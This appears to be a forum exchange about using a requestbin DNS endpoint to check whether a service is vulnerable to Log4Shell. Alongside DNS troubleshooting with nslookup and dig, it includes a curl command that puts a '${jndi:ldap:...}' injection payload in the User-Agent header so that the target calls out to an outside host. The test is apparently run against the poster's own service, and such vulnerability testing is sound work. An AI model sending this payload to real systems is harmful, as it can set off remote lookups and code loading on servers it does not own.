Looks like https://requestbin.net/dns is what you want, no?
I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
;; Got SERVFAIL reply from 83.146.21.6, trying next server
Server: 212.158.248.6
Address: 212.158.248.6#53
** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:
dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.netMy ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.